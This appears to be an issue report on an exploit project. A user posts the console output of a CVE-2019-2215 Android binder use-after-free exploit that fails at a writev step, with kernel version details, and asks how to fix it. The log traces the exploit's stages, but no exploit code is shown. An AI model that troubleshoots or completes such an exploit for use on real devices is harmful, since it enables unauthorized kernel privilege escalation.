[-] writev failed. nBytesWritten: 0x1000, expected: 0x2000 #12
Description
> 1|generic_x86_64:/data/local/tmp $ ./cve-2019-2215-exploit
> [+] Binding to 0th core
> [+] Opening: /dev/binder
> [*] m_binder_fd: 0x3
> [+] Creating event poll
> [*] m_epoll_fd: 0x4
> [+] Setting up pipe
> [*] Pipe created successfully
> [*] Changed the pipe capacity to: 0x1000
> [+] Setting up iovecs
> [+] Mapping 4GB aligned page
> [*] Mapped page: 0x100000000
> [+] Linking eppoll_entry->wait.entry to binder_thread->wait.head
> [+] Freeing binder_thread
> [+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head
> [-] writev failed. nBytesWritten: 0x1000, expected: 0x2000
> 1|generic_x86_64:/data/local/tmp $ uname -a
> Linux localhost 4.14.150+ #1 SMP PREEMPT Wed Sep 6 22:18:47 JST 2023 x86_64
Hi,
It seem to failed,how to solve it?